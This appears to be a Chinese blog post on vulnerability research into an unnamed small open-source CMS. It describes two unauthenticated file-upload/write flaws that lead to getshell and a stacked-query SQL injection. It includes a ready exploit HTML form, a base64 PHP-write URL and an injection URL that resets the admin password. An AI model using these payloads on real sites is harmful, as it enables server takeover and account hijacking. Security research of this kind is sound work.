某开源cms前台漏洞集合

  • A+
所属分类:安全文章

某开源cms前台漏洞集合

前台getshell第一处:

漏洞文件:appcontrollerFile.php  中的upload函数:


某开源cms前台漏洞集合


因为$options变量我们外部可控,导致我们可以设置允许的上传后缀。跟进upload方法:


某开源cms前台漏洞集合


checkFileType方法代码:


某开源cms前台漏洞集合


copyfile方法代码:


某开源cms前台漏洞集合


造成任意文件上传,并且此upload方法没有验证任何权限,属于公共方法,导致无需任何权限。

漏洞利用:Exp.html:

<html><body><form action="http://xxx/file/upload/?options[allow_type]=php&options[input_name]=file&options[path]=./upload&options[size]=1000000&options[is_rand_name]=0" method="post"enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="file"/><input type="submit" name="submit" value="Submit" /></form></body></html>

路径:域名/upload/文件名.php    这里的文件名就是上传时的文件名,不会重命名。


某开源cms前台漏洞集合


前台getshell第二处:

漏洞文件:appcontrollerUser.php  中的base64Upload方法:


某开源cms前台漏洞集合


直接写入了文件,且并未判断文件后缀,导致了任意文件写入。
P.S:这段写入代码在我遇见的好几个cms中都存在,导致都造成了任意文件写入。

漏洞利用:
先登录会员(默认开启注册)->然后直接访问payload即可写入

php文件:
Payload:http://xxxx/user/base64Upload/?options[base64]=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==&options[path]=./
会在根目录生成一个以会员的uid为文件名的文件。
这个uid怎么得到,如图:


某开源cms前台漏洞集合

某开源cms前台漏洞集合

某开源cms前台漏洞集合


前台sql注入

漏洞文件:appcontrollerUser.php   中的fanslist方法:


某开源cms前台漏洞集合


注:该类的构造方法没验证任何权限,验证权限在对应的方法里面,但该方法未验证任何权限,所以无需任何权限即可访问该方法。
跟进friend::getlist方法:


某开源cms前台漏洞集合

某开源cms前台漏洞集合


继续跟进_select方法:


某开源cms前台漏洞集合


直接拼接到了limit后面导致了注入,且使用的PDO连接方式,支持多语句查询。

漏洞利用:直接修改管理员账号密码。
Payload:
http://xxxx/user/fansList/?options[user_id]=1&options[pagesize]=1;update%20user%20set%20username=123456,password='e10adc3949ba59abbe56e057f20f883e';
成功修改管理员账号,密码都为:123456


某开源cms前台漏洞集合


注:user表中id=1的才是管理员,等于其他的都是会员,不是管理员。所以可以直接修改id=1的数据,或者修改id为你插入的数据,记得修改原来的id=1为其他,不然冲突。


还有一处sql注入:
漏洞文件:appcontrollerColumn.php   中的list方法:


某开源cms前台漏洞集合


注:该类没有构造方法,该方法未验证任何权限,所以无需任何权限即可访问该方法。分析如上。

总结:本来最开始是想找sql注入的,但是where方法中用了参数绑定,而且使用都是数组,导致where方法上一直没找到注入,后来干脆放弃找注入,找下其他的漏洞,就找到了两处getshell的地方,后面又转回来再找sql注入,成功找到了sql注入。挖洞就是不抛弃不放弃,只要下够了功夫,肯定能挖到漏洞的。

最后:本来是想不写利用,说明什么cms,有兴趣的可以自己去看看,但是他官网也用的同一套源码,害怕有淘气的去破坏人家官网,所以直接打码了,源码也比较小众简单,大家看看就是了。见谅。


某开源cms前台漏洞集合


本文始发于微信公众号(疯猫网络):某开源cms前台漏洞集合

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: